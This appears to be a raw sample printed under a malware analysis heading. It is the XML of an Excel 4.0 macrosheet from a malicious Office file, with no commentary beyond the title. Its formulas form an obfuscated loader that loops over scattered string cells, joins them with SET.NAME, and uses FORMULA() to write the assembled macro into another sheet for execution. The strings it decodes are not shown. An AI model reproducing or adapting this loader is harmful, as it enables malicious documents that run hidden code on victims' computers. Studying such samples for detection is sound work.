Malicious Office (OOXML) — malware analysis report

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0C3AC380-C79B-47C4-9038-487EE82D71AB}"><dimension ref="A49:AI116"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">pAuvbPsiWGOVgL=A49</f><v>0</v></c><c r="C50"><v>647</v></c><c r="D50" s="1" t="s"><v>0</v></c><c r="E50" s="1" t="s"><v>19</v></c><c r="F50" s="1" t="s"><v>31</v></c><c r="G50" s="1" t="s"><v>33</v></c><c r="H50" s="1" t="s"><v>36</v></c><c r="I50" s="1" t="s"><v>39</v></c><c r="J50" s="1" t="s"><v>47</v></c><c r="K50" s="1" t="s"><v>55</v></c><c r="L50" s="1" t="s"><v>36</v></c><c r="M50" s="1" t="s"><v>62</v></c><c r="N50" s="1" t="s"><v>66</v></c><c r="O50" s="1" t="s"><v>73</v></c><c r="P50" s="1" t="s"><v>77</v></c><c r="Q50" s="1" t="s"><v>96</v></c><c r="R50" s="1" t="s"><v>73</v></c><c r="S50" s="1" t="s"><v>102</v></c><c r="T50" s="1" t="s"><v>104</v></c><c r="U50" s="1" t="s"><v>114</v></c><c r="V50" s="1" t="s"><v>109</v></c><c r="W50" s="1" t="s"><v>125</v></c><c r="X50" s="1" t="s"><v>138</v></c><c r="Y50" s="1" t="s"><v>141</v></c><c r="Z50" s="1" t="s"><v>144</v></c><c r="AA50" s="1" t="s"><v>141</v></c><c r="AB50" s="1" t="s"><v>160</v></c><c r="AC50" s="1" t="s"><v>163</v></c><c r="AD50" s="1" t="s"><v>166</v></c><c r="AE50" s="1" t="s"><v>70</v></c><c r="AF50" s="1" t="s"><v>170</v></c><c r="AG50" s="1" t="s"><v>176</v></c><c r="AH50" s="1" t="s"><v>37</v></c><c r="AI50" s="1" t="s"><v>185</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="C51"><v>777</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52" t="b"><f>WHILE(AND(NOT(pAuvbPsiWGOVgL&gt;=32)))</f><v>0</v></c><c r="C52"><v>-254</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="A53" t="b"><f bx="1">JVviniwfmkfTa=-3</f><v>0</v></c><c r="C53"><v>-504</v></c><c r="D53" s="1" t="s"><v>1</v></c><c r="E53" s="1" t="s"><v>20</v></c><c r="F53" s="1" t="s"><v>32</v></c><c r="G53" s="1" t="s"><v>34</v></c><c r="H53" s="1" t="s"><v>37</v></c><c r="I53" s="1" t="s"><v>40</v></c><c r="J53" s="1" t="s"><v>48</v></c><c r="K53" s="1" t="s"><v>56</v></c><c r="L53" s="1" t="s"><v>37</v></c><c r="M53" s="1" t="s"><v>63</v></c><c r="N53" s="1" t="s"><v>67</v></c><c r="O53" s="1" t="s"><v>74</v></c><c r="P53" s="1" t="s"><v>78</v></c><c r="Q53" s="1" t="s"><v>97</v></c><c r="R53" s="1" t="s"><v>101</v></c><c r="S53" s="1" t="s"><v>103</v></c><c r="T53" s="1" t="s"><v>105</v></c><c r="U53" s="1" t="s"><v>115</v></c><c r="V53" s="1" t="s"><v>110</v></c><c r="W53" s="1" t="s"><v>126</v></c><c r="X53" s="1" t="s"><v>139</v></c><c r="Y53" s="1" t="s"><v>142</v></c><c r="Z53" s="1" t="s"><v>145</v></c><c r="AA53" s="1" t="s"><v>142</v></c><c r="AB53" s="1" t="s"><v>161</v></c><c r="AC53" s="1" t="s"><v>164</v></c><c r="AD53" s="1" t="s"><v>85</v></c><c r="AE53" s="1" t="s"><v>91</v></c><c r="AF53" s="1" t="s"><v>171</v></c><c r="AG53" s="1" t="s"><v>177</v></c><c r="AH53" s="1" t="s"><v>181</v></c><c r="AI53" s="1" t="s"><v>186</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="C54"><v>-580</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="C55"><v>618</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="A56" t="b"><f bx="1">pAuvbPsiWGOVgL=pAuvbPsiWGOVgL+1</f><v>0</v></c><c r="C56"><v>-799</v></c><c r="D56" s="1" t="s"><v>2</v></c><c r="E56" s="1" t="s"><v>21</v></c><c r="F56" t="s"><v>18</v></c><c r="G56" s="1" t="s"><v>35</v></c><c r="H56" s="1" t="s"><v>38</v></c><c r="I56" s="1" t="s"><v>41</v></c><c r="J56" s="1" t="s"><v>49</v></c><c r="K56" s="1" t="s"><v>57</v></c><c r="L56" s="1" t="s"><v>60</v></c><c r="M56" s="1" t="s"><v>64</v></c><c r="N56" s="1" t="s"><v>68</v></c><c r="O56" s="1" t="s"><v>75</v></c><c r="P56" s="1" t="s"><v>79</v></c><c r="Q56" s="1" t="s"><v>98</v></c><c r="R56" s="1" t="s"><v>72</v></c><c r="S56" s="1" t="s"><v>17</v></c><c r="T56" s="1" t="s"><v>106</v></c><c r="U56" s="1" t="s"><v>116</v></c><c r="V56" s="1" t="s"><v>122</v></c><c r="W56" s="1" t="s"><v>127</v></c><c r="X56" s="1" t="s"><v>140</v></c><c r="Y56" s="1" t="s"><v>143</v></c><c r="Z56" s="1" t="s"><v>146</v></c><c r="AA56" s="1" t="s"><v>143</v></c><c r="AB56" s="1" t="s"><v>162</v></c><c r="AC56" s="1" t="s"><v>74</v></c><c r="AD56" s="1" t="s"><v>167</v></c><c r="AE56" s="1" t="s"><v>136</v></c><c r="AF56" s="1" t="s"><v>172</v></c><c r="AG56" s="1" t="s"><v>178</v></c><c r="AH56" s="1" t="s"><v>182</v></c><c r="AI56" s="1" t="s"><v>187</v></c></row><row r="57" spans="1:35" x14ac:dyDescent="0.25"><c r="C57"><v>705</v></c></row><row r="58" spans="1:35" x14ac:dyDescent="0.25"><c r="A58" t="b"><f bx="1">RjCwNgDH=""</f><v>0</v></c><c r="C58"><v>615</v></c></row><row r="59" spans="1:35" x14ac:dyDescent="0.25"><c r="C59"><v>-910</v></c><c r="D59" s="1" t="s"><v>3</v></c><c r="E59" s="1" t="s"><v>22</v></c><c r="G59" t="s"><v>18</v></c><c r="H59" t="s"><v>18</v></c><c r="I59" s="1" t="s"><v>42</v></c><c r="J59" s="1" t="s"><v>50</v></c><c r="K59" s="1" t="s"><v>58</v></c><c r="L59" s="1" t="s"><v>50</v></c><c r="M59" s="1" t="s"><v>65</v></c><c r="N59" s="1" t="s"><v>69</v></c><c r="O59" s="1" t="s"><v>56</v></c><c r="P59" s="1" t="s"><v>80</v></c><c r="Q59" s="1" t="s"><v>99</v></c><c r="R59" t="s"><v>18</v></c><c r="S59" t="s"><v>18</v></c><c r="T59" s="1" t="s"><v>107</v></c><c r="U59" s="1" t="s"><v>117</v></c><c r="V59" s="1" t="s"><v>123</v></c><c r="W59" s="1" t="s"><v>128</v></c><c r="X59" s="1" t="s"><v>17</v></c><c r="Y59" t="s"><v>18</v></c><c r="Z59" s="1" t="s"><v>129</v></c><c r="AA59" t="s"><v>18</v></c><c r="AB59" s="1" t="s"><v>17</v></c><c r="AC59" s="1" t="s"><v>42</v></c><c r="AD59" s="1" t="s"><v>168</v></c><c r="AE59" s="1" t="s"><v>169</v></c><c r="AF59" s="1" t="s"><v>173</v></c><c r="AG59" s="1" t="s"><v>179</v></c><c r="AH59" s="1" t="s"><v>183</v></c><c r="AI59" s="1" t="s"><v>57</v></c></row><row r="60" spans="1:35" x14ac:dyDescent="0.25"><c r="A60" t="b"><f>WHILE(NOT(JVviniwfmkfTa&gt;=134))</f><v>0</v></c></row><row r="61" spans="1:35" x14ac:dyDescent="0.25"><c r="A61"><f>MIN(180,-983)</f><v>-983</v></c></row><row r="62" spans="1:35" x14ac:dyDescent="0.25"><c r="D62" s="1" t="s"><v>4</v></c><c r="E62" s="1" t="s"><v>23</v></c><c r="I62" s="1" t="s"><v>43</v></c><c r="J62" s="1" t="s"><v>51</v></c><c r="K62" s="1" t="s"><v>59</v></c><c r="L62" s="1" t="s"><v>61</v></c><c r="M62" t="s"><v>18</v></c><c r="N62" s="1" t="s"><v>70</v></c><c r="O62" s="1" t="s"><v>76</v></c><c r="P62" s="1" t="s"><v>81</v></c><c r="Q62" s="1" t="s"><v>100</v></c><c r="T62" s="1" t="s"><v>108</v></c><c r="U62" s="1" t="s"><v>118</v></c><c r="V62" s="1" t="s"><v>124</v></c><c r="W62" s="1" t="s"><v>129</v></c><c r="X62" t="s"><v>18</v></c><c r="Z62" s="1" t="s"><v>130</v></c><c r="AB62" t="s"><v>18</v></c><c r="AC62" s="1" t="s"><v>165</v></c><c r="AD62" t="s"><v>18</v></c><c r="AE62" t="s"><v>18</v></c><c r="AF62" s="1" t="s"><v>174</v></c><c r="AG62" s="1" t="s"><v>180</v></c><c r="AH62" s="1" t="s"><v>184</v></c><c r="AI62" s="1" t="s"><v>188</v></c></row><row r="64" spans="1:35" x14ac:dyDescent="0.25"><c r="A64" t="b"><f bx="1">JVviniwfmkfTa=JVviniwfmkfTa+3</f><v>0</v></c></row><row r="65" spans="1:35" x14ac:dyDescent="0.25"><c r="D65" s="1" t="s"><v>5</v></c><c r="E65" s="1" t="s"><v>24</v></c><c r="I65" s="1" t="s"><v>44</v></c><c r="J65" s="1" t="s"><v>52</v></c><c r="K65" t="s"><v>18</v></c><c r="L65" t="s"><v>18</v></c><c r="N65" s="1" t="s"><v>71</v></c><c r="O65" s="1" t="s"><v>59</v></c><c r="P65" s="1" t="s"><v>82</v></c><c r="Q65" s="1" t="s"><v>17</v></c><c r="T65" s="1" t="s"><v>109</v></c><c r="U65" s="1" t="s"><v>119</v></c><c r="V65" t="s"><v>18</v></c><c r="W65" s="1" t="s"><v>130</v></c><c r="Z65" s="1" t="s"><v>147</v></c><c r="AC65" t="s"><v>18</v></c><c r="AF65" s="1" t="s"><v>175</v></c><c r="AG65" t="s"><v>18</v></c><c r="AH65" t="s"><v>18</v></c><c r="AI65" t="s"><v>18</v></c></row><row r="67" spans="1:35" x14ac:dyDescent="0.25"><c r="A67" t="e"><f>INDEX($D$50:$AJ$250,JVviniwfmkfTa+1,pAuvbPsiWGOVgL)</f><v>#NAME?</v></c></row><row r="68" spans="1:35" x14ac:dyDescent="0.25"><c r="A68" t="e"><f>IF(AND($A$67="iPSpGdbDJEmC"),SUM(SET.NAME("JVviniwfmkfTa",134)),MAX(SET.NAME("RjCwNgDH",RjCwNgDH&amp;$A$67)))</f><v>#NAME?</v></c><c r="D68" s="1" t="s"><v>6</v></c><c r="E68" s="1" t="s"><v>25</v></c><c r="I68" s="1" t="s"><v>45</v></c><c r="J68" s="1" t="s"><v>53</v></c><c r="N68" s="1" t="s"><v>72</v></c><c r="O68" t="s"><v>18</v></c><c r="P68" s="1" t="s"><v>83</v></c><c r="Q68" t="s"><v>18</v></c><c r="T68" s="1" t="s"><v>110</v></c><c r="U68" s="1" t="s"><v>104</v></c><c r="W68" s="1" t="s"><v>131</v></c><c r="Z68" s="1" t="s"><v>148</v></c><c r="AF68" t="s"><v>18</v></c></row><row r="69" spans="1:35" x14ac:dyDescent="0.25"><c r="A69" t="b"><f>NEXT()</f><v>0</v></c></row><row r="71" spans="1:35" x14ac:dyDescent="0.25"><c r="D71" s="1" t="s"><v>7</v></c><c r="E71" s="1" t="s"><v>26</v></c><c r="I71" s="1" t="s"><v>46</v></c><c r="J71" s="1" t="s"><v>54</v></c><c r="N71" s="1" t="s"><v>17</v></c><c r="P71" s="1" t="s"><v>68</v></c><c r="T71" s="1" t="s"><v>111</v></c><c r="U71" s="1" t="s"><v>120</v></c><c r="W71" s="1" t="s"><v>132</v></c><c r="Z71" s="1" t="s"><v>79</v></c></row><row r="72" spans="1:35" x14ac:dyDescent="0.25"><c r="A72" t="b"><f bx="1">TicqMJEUaRjun="liable!R"&amp;77+pAuvbPsiWGOVgL-1&amp;"C"&amp;1</f><v>0</v></c></row><row r="73" spans="1:35" x14ac:dyDescent="0.25"><c r="A73" t="b"><f>SUM(1,2)=(((((FORMULA(RjCwNgDH,TicqMJEUaRjun))))))</f><v>0</v></c></row><row r="74" spans="1:35" x14ac:dyDescent="0.25"><c r="A74"><f>COUNTBLANK($D$22:$E$76)</f><v>110</v></c><c r="D74" s="1" t="s"><v>8</v></c><c r="E74" s="1" t="s"><v>26</v></c><c r="I74" t="s"><v>18</v></c><c r="J74" t="s"><v>18</v></c><c r="N74" t="s"><v>18</v></c><c r="P74" s="1" t="s"><v>69</v></c><c r="T74" s="1" t="s"><v>112</v></c><c r="U74" s="1" t="s"><v>121</v></c><c r="W74" s="1" t="s"><v>133</v></c><c r="Z74" s="1" t="s"><v>149</v></c></row><row r="76" spans="1:35" x14ac:dyDescent="0.25"><c r="A76" t="b"><f>NEXT()</f><v>0</v></c></row><row r="77" spans="1:35" x14ac:dyDescent="0.25"><c r="D77" s="1" t="s"><v>9</v></c><c r="E77" s="1" t="s"><v>27</v></c><c r="P77" s="1" t="s"><v>70</v></c><c r="T77" s="1" t="s"><v>41</v></c><c r="U77" t="s"><v>18</v></c><c r="W77" s="1" t="s"><v>134</v></c><c r="Z77" s="1" t="s"><v>150</v></c></row><row r="80" spans="1:35" x14ac:dyDescent="0.25"><c r="D80" s="1" t="s"><v>10</v></c><c r="E80" s="1" t="s"><v>28</v></c><c r="P80" s="1" t="s"><v>84</v></c><c r="T80" s="1" t="s"><v>113</v></c><c r="W80" s="1" t="s"><v>135</v></c><c r="Z80" s="1" t="s"><v>151</v></c></row><row r="83" spans="4:26" x14ac:dyDescent="0.25"><c r="D83" s="1" t="s"><v>11</v></c><c r="E83" s="1" t="s"><v>29</v></c><c r="P83" s="1" t="s"><v>85</v></c><c r="T83" t="s"><v>18</v></c><c r="W83" s="1" t="s"><v>136</v></c><c r="Z83" s="1" t="s"><v>88</v></c></row><row r="86" spans="4:26" x14ac:dyDescent="0.25"><c r="D86" s="1" t="s"><v>12</v></c><c r="E86" s="1" t="s"><v>30</v></c><c r="P86" s="1" t="s"><v>86</v></c><c r="W86" s="1" t="s"><v>137</v></c><c r="Z86" s="1" t="s"><v>50</v></c></row><row r="89" spans="4:26" x14ac:dyDescent="0.25"><c r="D89" s="1" t="s"><v>13</v></c><c r="E89" t="s"><v>18</v></c><c r="P89" s="1" t="s"><v>87</v></c><c r="W89" t="s"><v>18</v></c><c r="Z89" s="1" t="s"><v>152</v></c></row><row r="92" spans="4:26" x14ac:dyDescent="0.25"><c r="D92" s="1" t="s"><v>14</v></c><c r="P92" s="1" t="s"><v>88</v></c><c r="Z92" s="1" t="s"><v>153</v></c></row><row r="95" spans="4:26" x14ac:dyDescent="0.25"><c r="D95" s="1" t="s"><v>15</v></c><c r="P95" s="1" t="s"><v>89</v></c><c r="Z95" s="1" t="s"><v>154</v></c></row><row r="98" spans="4:26" x14ac:dyDescent="0.25"><c r="D98" s="1" t="s"><v>16</v></c><c r="P98" s="1" t="s"><v>90</v></c><c r="Z98" s="1" t="s"><v>155</v></c></row><row r="101" spans="4:26" x14ac:dyDescent="0.25"><c r="D101" s="1" t="s"><v>17</v></c><c r="P101" s="1" t="s"><v>91</v></c><c r="Z101" s="1" t="s"><v>156</v></c></row><row r="104" spans="4:26" x14ac:dyDescent="0.25"><c r="D104" t="s"><v>18</v></c><c r="P104" s="1" t="s"><v>92</v></c><c r="Z104" s="1" t="s"><v>157</v></c></row><row r="107" spans="4:26" x14ac:dyDescent="0.25"><c r="P107" s="1" t="s"><v>93</v></c><c r="Z107" s="1" t="s"><v>158</v></c></row><row r="110" spans="4:26" x14ac:dyDescent="0.25"><c r="P110" s="1" t="s"><v>94</v></c><c r="Z110" s="1" t="s"><v>159</v></c></row><row r="113" spans="16:26" x14ac:dyDescent="0.25"><c r="P113" s="1" t="s"><v>95</v></c><c r="Z113" t="s"><v>18</v></c></row><row r="116" spans="16:26" x14ac:dyDescent="0.25"><c r="P116" t="s"><v>18</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>